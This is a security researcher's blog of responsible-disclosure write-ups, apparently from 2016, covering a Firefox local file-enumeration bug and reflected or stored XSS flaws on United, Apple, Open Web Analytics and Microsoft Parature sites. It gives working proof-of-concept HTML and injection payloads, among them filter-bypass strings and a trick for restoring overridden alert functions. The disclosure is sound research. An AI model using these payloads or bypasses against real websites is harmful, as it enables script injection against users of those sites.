Monday, 22 August 2016

Firefox Local Filename Enumeration (sec-low)

Hello everyone,

This is going to be a short write up about my first find regarding browser bugs, which was found in Firefox/45.0. The bug is of type "csectype-disclosure" and was flagged as sec-low by Mozilla's team due to the fact that the malicious page has to be loaded locally (via the file:// protocol).

The bug existed because a <track>'s onerror event is fired twice if the file pointed to in it's src attribute doesn't exist, but fires only once if the file existed but is not playable. The <track> tag has to be included inside the opening and closing tags of an <audio> or <video>. The following code is the PoC that was typically sent along with the report to Mozilla's team:

<html>
<head>
<title>Testing</title>
</head>
<audio>
   <track id="q" src="file:///etc/passwd">
</audio>
<script>
var i=0;
q.onerror=function(){
    i++;
   
};
setTimeout(function(){
    if(i==1){
            alert('File Exists');
        }else{
            alert('File Does Not Exist');
            }
 
    },100);
</script>
</body>
</html
 
Finally, I would like to shout out to @Qab for making all that possible.

Friday, 22 July 2016

United to XSS United


Hello there,

In this blog post, I will explain how I was able to bypass some client-side based XSS so called "protection".

While I was looking for cheap flights, I recalled that United offer a bug bounty program that rewards free mileage to researchers who report security vulnerabilities.

As I started looking testing their websites, I found a couple of bugs and reported them, then I came accross the subdomain http://checkin.united.com.


Visiting the above link redirected me to another page on the same subdomain, with a GET parameter called "SID". I started testing that parameter and noticed that it's value gets reflected in the document 60+ times, none of which is well sanitized against special characters, allowing me to break out of the tags it reflects in in 100% of the times it does.

I simply entered "><svg onload=confirm(1)> to get the alert box I'm looking for, but weird enough, no alert boxes were there at all, I then inspected the source of the page and found that my injection actually lands untouched exactly the same 60+ times, yet the JS payload doesn't execute.

Some of the payload reflections in the document

I started digging more into the script tags and what codes do they contain, until I reached the source of my misery, a JS file that is included into the page and contains the following code:

JS code that caused the trouble

Basically, the code overrides the native alert(), confirm(), prompt(), unescape(), and document.write() functions and nullifies them, so calling them does absolutely nothing. This was implemented as an "XSS protection".

So after some research, I managed to restore document.write() to it's default state by calling document.write = HTMLDocument.prototype.write;document.write('STRUKT');, but again, what good does that do with all the main functions I want to access sabotaged.

Using document.write() to print into the document
 

I started playing around with the help of my friend and teacher @brutelogic, he provided me with this link, which talks about the JS defense in place. The article also mentioned that we could get the overridden functions back to their defaults by using the word delete. We tried the keyword and it happened to be blacklisted as well, then I had an idea. What if I inject empty iframe tags (without the src attribute) and then set the main window's alert() function to any of these iframes' native alert functions, it will then be reset to the default alert() function any document has.

I tried the new idea and it actually worked, bypassing all the "XSS protections" in place and circumventing the overrides implemented by the developers.

The beloved alert box finally popping up
Then my friend @brutelogic managed to optimize the payload to a much shorter one, with the ability to work in Chrome and bypass Auditor (Because there's also an unsanitized reflection in a <script> tag context).

Brute's payload working in Firefox
Brute's payload bypassing Chrome's XSS Auditor

Then I've decided to go further and check if United's main website contains any flaws. After spending less than 10 minutes of investigation, I found out that the exact same vulnerable path found on http://checkin.united.com exists on United's main website, with absolutely the same imported libraries and the 60+ vulnerable reflections, killing two birds with one stone.

XSSing United's main website with the same payload

Finally, I would like to thank my teacher and friend @brutelogic for his continuous support and generosity in providing me with brilliant and unexpected information.

See you in another post ;) 

Monday, 4 July 2016

Apple and the 5 XSSes

Hello guys and welcome back,

On the 10th of March, 2016 I decided to start looking for Cross Site Scripting vulnerabilities in Apple's websites, I really can't remember what motives drove me to start looking for bugs there, but it was a good idea anyways.

I first started enumerating the targets as usual, found a big list of subdomains and started to look for XSS bugs on each of them.

Spending a couple of hours looking for XSSes and finding nothing at all, I started to notice that most of the subdomains need the users to be logged in first to start using them, so I created an Apple ID and started logging in each of the subdomains to have some deeper look into each of them.

The first XSS I found was a reflective XSS on the subdomain https://checkcoverage.apple.com, which is designed for users that want to check their Apple products' warranty status and whether they are eligible for support and extended coverage or not.

While surfing the subdomain I just mentioned, I found a GET parameter called "sn", which is -obviously- the placeholder of the serial number of the product the user wants to check, I started probing to see if the parameter's value gets reflected in the page, so I used a string as simple as <"xss' to check if any of those special characters gets removed or encoded. See the following screenshot:


The injected payload is reflected inside a <script> tag with no encoding or sanitization of the special characters at all, thus injecting "-alert(document.domain)-" was enough to trigger the following alert box:


The second XSS is a stored one and lies in the subdomain https://iadworkbench.apple.com/, this subdomain is for advertising purposes and business related stuff, where I found that the organization's name gets reflected inside a <script> tag without any sanitization.

Again, using "-alert(document.domain)-", I was able to come up with the following alert box:


The third XSS I found was on the subdomain https://appleid.apple.com, if you click on that link, you will find the message "Your account for everything Apple." written between two <h2> tags. Yes, this subdomain is there for users to manage their Apple IDs, which allows them to access everything they use, related to Apple.

I started missing around with the parameters I see, until I came across the GET parameter "key", which over and over again, gets reflected inside a <script> context without any cleansing, leaving one of Apple's most important online services vulnerable to one of the simplest, yet very devastating attacks. See the following screenshot:


This time, just to change the XSS vector, I decided to close the <script> tag prematurely and inject my own <script> tag, and I noticed that <script> and </script> were getting removed completely from the input, but </script/strukt> for example is not removed, so I tried to inject </script/x><script/x>alert(1)</script/x>, but the alert box didn't appear.

I found out that <script/x> was still removed, so I tried </script/x><scr<script>ipt>alert(1)</script/x> and this time it worked, showing that Apple was protecting one of their most important online services with one of the worst approaches ever.


The fourth XSS affects the subdomain http://mynews.apple.com, and honestly, this is one of the weirdest and easiest XSSes I have ever met.

Developers often do some mistakes, like getting parameter values and letting them into the page source with inappropriate handling first. But in this case, the case was pretty different, the developers were getting he value of the "locale" GET parameter, appending it to some URL, and then using it as the action attribute of a <form> on the page, nothing strange, right ?!

Actually no, the very bizarre thing here was that they were correctly encoding the " and < of the injected payload correctly, but they used the value of the action parameter unquoted. See the following screenshot for more understanding:

Breaking out of the action attribute then was a piece of cake, adding a %20 (space) after the value of the "locale" parameter and adding an event handler with a payload such as "onmouseover=alert(document.domain)" was all that is needed to do the job.


The fifth and last XSS in this series was found on the subdomain https://atlaslms.apple.com, this XSS was pretty straight forward, a GET parameter called "criteria" was being inserted as the value attribute of some hidden <input> tag and no sanitization at all was there, so I just injected the string "><svg onload=alert(document.domain)> to alert.





Conclusion:

While Apple may be doing a good job securing their OSs and devices, they fail big time when it comes to protecting their own online services, including those who are somewhat critical to users.
The other thing I'd like to mention is that Apple, being a tech giant, doesn't pay bounties to whitehats. Which, from my point of view, is the main reason why they're not well secured, as well as the reason why a blackhat was happy to get paid to hack into the iPhone the U.S government was trying to convince Apple to get them access to.

Finally, I would like to mention that, after more than 3 months of reporting the issues, some of the bugs are still reproducible at the time this post is released. Also, I was asked to provide my information on the 23rd of March to enter Apple's Hall of Fame for https://appleid.apple.com's XSS, yet my name still doesn't appear there.

Thanks for reading, see you in another post.

Sunday, 28 February 2016

XSSing Open Web Analytics version 1.5.7 and older

Hello everyone,

While laying on my couch, surfing my Twitter's timeline on my mobile, I noticed that KIWI.KI have started their program on HackerOne.

I opened the program's page to read the guidelines and learn about the targets, then I started to enumerate the subdomains that are in-scope for the program to start looking for bugs in them.

I found the subdomain https://web.kiwi.ki, calling that URL in my browser's address bar resulted in a 302 redirect to the login form located at https://web.kiwi.ki/index.php?owa_do=base.loginForm&owa_go=https://web.kiwi.ki/&.

Noticing that the values of the GET parameters owa_do and owa_go appear inside two hidden <input> fields in the source of the page, I started testing them for XSS.


I couldn't inject into the parameter owa_do as changing/adding/removing characters from the initial value of this parameter causes the page to break and show a blank page, so I was left with the other parameter to test.

Injecting a simple testing probe like <"xss', I found that the injection breaks out of the value parameter of the hidden <input> field due to the lack of encoding/filtering/escaping of all the special characters in the string.



Triggering an alert box in this case was as easy as injecting the payload "><svg onload="alert(domain).






The XSS here is cross-browser because any injection of the form <x> was completely stripped and removed, which allows us to bypass Chrome's XSS auditor and Edge's XSS filter.

After succeeding to create this beautiful alert box, I started scraping the page source to find the vendors of the service, as it was clearly not developed by KIWI. I found a link to http://www.openwebanalytics.com, which is an "open source web analytics software that you can use to track and analyze how people use your websites and applications", according to their landing page.

Knowing that the software is not actually KIWI's, I started to search the web to find more sites that use the service, and I actually found a bunch of web applications that use it.



I reported this bug on 25/2/2016 and it was fixed on 28/2/2016 in the following commit:

https://github.com/padams/Open-Web-Analytics/commit/4ee856074f93fa9e4a49efb8d45319e7783b6aee

Thanks for reading, have a nice day ;)

Friday, 22 January 2016

Microsoft's Parature XSS

Hello,

One day, I decided to test ask.com and it's subdomains for XSS. While doing so, I came across a link that points to their help center, which is located at help.ask.com.

Clicking on the link, the URL was translated to http://help.ask.com/ics/support/default.asp?deptID=30018&_referrer= , I started testing the parameter "_referrer" to see if it was vulnerable to open redirects.

I found that the value of the parameter gets reflected inside a function inside a <script>, so I quitted testing for open redirects and started looking for a way to trigger an XSS, see the following picture:


The developers did not sanitize the value of "_referrer" properly, double quotes, alert() and similar functions, and </script> tags were all allowed. So all I needed at this stage was some help from my friend and teacher, Brute Logic. He noticed that the function exitSupport() was never called on the page, so all he needed to do was to break out of it.
The following two screenshots show the code after the injection of the payload and the alert box:





 After we successfully triggered the alert box, Brute suggested that I should look deeper into the bug, saying "don't stop there, try to figure out where the rabbit hole really goes".

He then told me to look for websites containing the same code inside the script tag. He advised me to use nerdydata.com, so I went to the mentioned website and started searching for the function exitSupport(). And there was the surprise, I found dozens of websites using the flawed piece of software. See the picture below:




Going further into the research, Brute quickly identified the origin of the flawed script using , the following screenshot shows the name of the flawed service:


We only realized that the product was owned and developed by Microsoft after we visited Parature's official website, parature.com :


The following is an excerpt from parature.com :

"Parature is a cloud-based customer service solution that empowers brands and organizations to deliver consistent care anytime, anywhere through a powerful combination of knowledge management, self-service and multi-channel engagement. Quick to deploy, scalable and flexible, and mobile-responsive, discover the customer support software solution that many of the world’s leading brands are using to deliver productive, proactive and personalized customer care.".

Then, we decided to look for other websites being affected by the flaw, and we found some big names, below is a GIF containing some of these names:





Timeline:
  • 17-11-2015 Initial report, Microsoft replied that they couldn't reproduce the issue, further explanation of the issue is sent
  • 18-11-2015 Microsoft replied that they opened a case for the bug
  • 30-11-2015 I sent an email asking if the bug has been fixed
  • 02-12-2015 Microsoft replied that the issue is fixed and asked for our names for the Hall of Fame
  • 19-01-2015 The Hall of Fame for the month of December is released